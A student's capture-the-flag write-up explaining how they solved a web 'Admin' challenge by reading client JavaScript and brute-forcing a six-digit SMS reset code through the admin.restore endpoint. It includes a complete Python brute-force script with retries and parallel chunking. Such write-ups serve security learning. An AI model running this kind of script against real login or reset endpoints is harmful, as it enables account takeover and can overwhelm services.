My First CTF Challenge: Brute Forcing a Web Admin Page with Python

This post walks the reader through a fascinating process of investigation, discovery and solving the author’s first CTF challenge with Python!

Background

This past weekend I participated in a Capture The Flag (CTF) security event. CTFs are usually organized as educational competitions designed to give participants experience in various security challenges.

The CTF I signed up for was SarCTF. The competition was run “jeopardy style” where you could complete as many challenges as possible in 24 hours.

I was participating in this competition as a requirement of my coursework for my in-progress MS Cybersecurity degree.

From the syllabus:

You will be required to compete in at least one CTFTime-ranked CTF, and provide a writeup about at least one non-trivial problem that your team worked on.

I think this is a great assignment and gave our class an opportunity to flex our security muscles.

The Challenge

I wanted to focus on what I think I am good at so I chose to focus on the web challenges and proceeded to solve the “Admin” CTF challenge which was worth 982 points.

Challenge Modal

Below is a screenshot from the challenge website, as you can see there isn’t a whole lot of information to go on - which is what makes these exciting! :)

Challenge Web UI

The challenge redirects us to the /admin path on a website that has a login form, a forgot password button and a navbar with various elements.

Investigation / Spelunking

Initially I tried to submit some basic SQL injection (SQLi) attacks but didn’t see results.

When it was clear it wasn’t a basic SQLi attack, without fully ruling it out, I wanted to see what other clues there were. The first tool I usually reach for is the Network Pane in Chrome, which can provide more information about the web page.

Below is a view of different resources the site loads, displayed in the Network Pane. Two resources in particular caught my eye:

The first one seems to be a JS script from the server, ambiguously named script.js and the other is an XHR request being made to users.checkAuth.

Looking into script.js, we get to see this snippet near the top of the file (with truncations for brevity) which shows that the XHR request in question is executed on page load:

1
2
3
4
5
6
var getUser = api('users.checkAuth');
if (getUser.status === 'success') {
    // truncated
} else {
    $("#navlist").append('<li class="nav-item"><a class="nav-link" href="/login">Log in</a></li>');
}

Further below, in another excerpt from script.js, it seems this module functions as a “url router” where certain blocks of code are executed based on the path of the page. In fact, it looks like the site is performing a lot of templating via JavaScript!

If you look more closely at the /admin case in this switch statement, you can see that this is where the code block for the login form is coming from.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var path = document.location.pathname;

// truncated

switch (true) {
    case path.match(/^(\/|)$/) !== null:
	// truncated
    case path.match(/^\/login(\/|)$/) !== null:
	// truncated
    case path.match(/^\/logout(\/|)$/) !== null:
	// truncated
    case path.match(/^\/users(\/|)$/) !== null:
	// truncated
   case path.match(/^\/admin(\/|)$/) !== null:
        document.title = 'Admin';
        content = '<form>\n' +
            '  <div class="form-group">\n' +
            '    <label for="password">Password</label>\n' +
            '    <input type="password" class="form-control" id="password">\n' +
            '  </div>\n' +
            '  <p onclick="action(\'adminAuth\'); return false;" class="btn btn-primary">Log in</p>\n' +
            '  <p onclick="action(\'adminRestore\'); return false;" class="btn btn-link">Forgot your password?</p>' +
            '</form>';
        $('#main').html(content);
    // truncated more cases

Further, from the snippet above, we see two more functions we can go through - adminAuth and adminRestore. These look important.

Discovery

If we look closely at the adminRestore function (which is triggered by the Forgot your password? button in the form):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
req = api('admin.restore', undefined, true);
            if (req.status === 'success') {
                while (req.response.need_sms === true) {
                    code = prompt('A six-digit secret code has been sent to your number. Enter the code from SMS:');
                    if (code === null || code === undefined || code === '') {
                        location.reload();
                    } else {
                        req = api('admin.restore', {
                            'hash': req.response.new_hash,
                            'sms_code': code
                        }, true);
                    }
                }
                if (req.response.message) alert(req.response.message);
            }
            break;

Aha! We can see a while loop based on a condition which triggers a prompt() form allowing you to enter a six-digit code. Technically we can enter anything you like in the prompt(), but lets trust the prompt text for now that it is indeed a six-digit code and try to brute-force this.

While the code speaks for itself, it is always useful to check the request-response cycle and see what happens when we trigger an event we are curious about. Luckily, the server we are trying to talk to uses HTTP, and not HTTPS, so we can snoop this traffic without an issue. Most people recommend using some sort of proxy, but I am pretty comfortable with Wireshark/tcpdump so I clicked on Forgot your password? and monitored what happened next:

On clicking the button we make an immediate post request with nocontent, which corresponds to api('admin.restore', undefined, true):

In the response we can see this JSON object in the data received which indicates we can continue requesting SMS code until we get it right!:

1
2
3
4
5
6
7
{
  "status": "success",
  "response": {
    "need_sms": true,
    "new_hash": "8b5487904d15175cc18bba109f923c40"
  }
}

At this point its important to note to not make any assumptions about what the successful response data will be - the code has to accont for this ambiguity in the response. A good way to do that is to base the the probes on things that you do know about the problem.

Specifically in this case what we know is that a successful login will not have {"need_sms": true} in the response.

Solution - lets write some code!

If we break down the problem, we need to do two things while interacting with the service:

  1. Make a request to the admin.restore endpoint without any parameters and get two variables:
    • need_sms - this will be true until we hit the correct six-digit code.
    • new_hash - this is a “token” of sorts that we need for subsequent requests.
  2. Send the new hash we received with the next SMS code we want to try until need_sms is not explicitly true.

Before we can make requests, we need to be able to generate random SMS codes, which I would call a step 0.

Step 0: Generating SMS codes

Surprisingly, the first thing that came to mind was using something in the itertools module. I wanted various combinations for a set of numbers, and I found product() to be up to the task.

I also use a generator below so if the operation terminates, I can restart the sequence from the termination point.

1
codes = ("".join(x) for x in itertools.product("0123456789", repeat=6))

Step 1: Fetching the new hash

1
2
3
4
5
import requests

def get_new_hash():
    response = requests.post(URL)
    return response.json()['response']['new_hash']

This block of code would retrieve the new_hash to use with each request to try an SMS code.

Step 2: Using a new SMS code in the sequence to brute force this

1
2
3
def get_sms_code_check(new_hash, sms_code):
    response = requests.post(URL, data={'hash': new_hash, 'sms_code': sms_code})
    return response.json()

We run this code with step 1, while iterating over the code in Step 0, and we’re done right?

Conceptually, yes! There were a few challenges along the way, especially since the address space turns out to be 1 million possilbe combinations. We will speak about this in the next section.

Run code and complete!

We see the program exits at 272273. One can either get the output programmatically by printing out the response, or one can use the browser to key in the password and see what you get. This is what it looks like in the browser:

The programmatic output is shown in the next section.

Optimizations and challenges

On the first run of the script, it exited a couple of hours in due to the fact that we were overwhelming the server.

This is inferred based on the observation in the logs of response.status_code of 502 instead of 200 as expected.

At the same time, a lot of time had passed and the combinations that had been tried numbered less than 100,000 which would make it difficult to actually complete the challenge in the time allotted for the CTF.

Two things were introduced to help optimize the attack:

  1. argparse (from the stdlib) to help specify a prefix while running the code, so it could be chunked into 10 independent datasets with 10 different python interpreters running (goroutines might have been helpful here for easy concurrency..)
  2. requests sessions and tenacity.retry headers - taking no risks on the process exiting.

The running code with 10 python interpreters and the final flag looks like:

Conclusion & Learnings

  1. CTFs are really fun and a great way to get close to understand real world security vulnerabilities and the impact of exploits.
  2. As an application-focused SWE-SRE, it was clear this “vulnerability” could have been prevented with better systems design around the authentication system of an application. Good to think about when trying to secure applications in your own production environment - what else could be exploited?
  3. Do not expect applications, including CTFs to be resilient to dealing with high-scale. The CTF even started late due to other issues - its important to be considerate towards organizers who are also humans. As a practitioner, however, it is a good representative of how the real world might be and one should have resilient code which respectfully retries.

Overall, a great learning experience and I can’t thank my school enough for pushing me in this direction!

Appendix: Full source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import argparse
import itertools

import requests
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry

# introducing tenacity may have been overkill since I already had a
# requests session with a decent backoff strategy, but I wasn't
# taking any risks while I ran this code all night
from tenacity import retry, wait_fixed, wait_random, stop_after_attempt


URL = "http://sherlock-message.ru/api/admin.restore"
things = ("".join(x) for x in itertools.product("0123456789", repeat=5))

parser = argparse.ArgumentParser()
parser.add_argument('start', type=str)
args = parser.parse_args()


def requests_retry_session(
    retries=5,
    backoff_factor=0.3,
    status_forcelist=(500, 502, 504),
    session=None,
):
    session = session or requests.Session()
    retry = Retry(
        total=retries,
        read=retries,
        connect=retries,
        backoff_factor=backoff_factor,
        status_forcelist=status_forcelist,
        method_whitelist=frozenset(['GET', 'POST']),
    )
    adapter = HTTPAdapter(max_retries=retry)
    session.mount('http://', adapter)
    return session

rsession = requests_retry_session()

@retry(wait=wait_fixed(2) + wait_random(0, 2))
def get_new_hash():
    response = rsession.post(URL)
    print(response.status_code)
    return response.json()['response']['new_hash']

@retry(wait=wait_fixed(2) + wait_random(0, 2))
def get_sms_code_check(new_hash, sms_code):
    response = rsession.post(URL, data={'hash': new_hash, 'sms_code': sms_code})
    return response.json()

def try_code(sms_code, addition=None, new_hash=None):
    if addition is not None:
        sms_code = addition + sms_code
    print("Trying: {}".format(sms_code))

    if new_hash is None:
        new_hash = get_new_hash()

    resp_json = get_sms_code_check(new_hash, sms_code)

    if not resp_json['response'].get('need_sms'):
        return resp_json

def get_it(start_value):
    for item in things:
        ret = try_code(item, start_value)
        if ret is not None:
            print(ret)
            break

get_it(args.start)